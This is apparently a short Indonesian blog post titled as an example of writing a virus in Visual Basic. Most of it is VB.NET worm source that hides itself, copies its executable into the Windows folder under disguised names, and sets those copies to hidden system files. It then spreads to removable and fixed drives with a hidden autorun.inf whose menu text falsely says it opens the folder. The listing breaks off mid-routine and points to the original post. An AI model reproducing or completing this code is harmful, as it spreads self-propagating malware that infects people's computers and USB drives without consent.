CONTOH coding buat virus dlam visual basic

Public Class Explorer
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
On Error Resume Next
ShowInTaskbar = False
Dim fs, virus, flashdrive, tf, atr, rg, sys32
Dim flashdrive1 As String
Dim winpath As String
fs = CreateObject("Scripting.FileSystemObject")
winpath = fs.getspecialfolder(0).path & "\ssms.exe"
virus = Application.ExecutablePath
sys32 = fs.getspecialfolder(0).path & "\csrs.exe"
My.Computer.FileSystem.CopyFile(virus, winpath, True)
My.Computer.FileSystem.CopyFile(virus, sys32, True)
tf = fs.getfile(winpath)
tf.attributes = 39
tf = fs.getfile(sys32)
tf.attributes = 39
For Each flashdrive In fs.drives
If (flashdrive.drivetype = 1 Or flashdrive.drivetype = 2) And flashdrive.path <> "A:" Then
flashdrive1 = flashdrive.path & "\perawan.exe"
My.Computer.FileSystem.CopyFile(virus, flashdrive1, True)
tf = fs.getfile(flashdrive.path & "\perawan.exe")
tf.attributes = 39
atr = "[autorun]" & vbCrLf & "open=perawan.exe" & vbCrLf & "shell\open\command=perawan.exe" & vbCrLf & "action=Open folder to view files" & vbCrLf & "shell\Explore\command=perawan.exe"
tf = fs.createtextfile(flashdrive.path & "\autorun.inf", True)
tf.write(atr)
tf = fs.getfile(flashdrive.path & "\autorun.inf")
tf.attributes = 39
End If
Dim ss As Object
Dim obj As Object
ss = CreateObject("wscript.shell")

Untuk selengkapnya kunjungi ling aslinya ya

http://xphreaktechnospot.blogspot.com/2010/12/ne-contoh-virus-dengan-visual-basic.html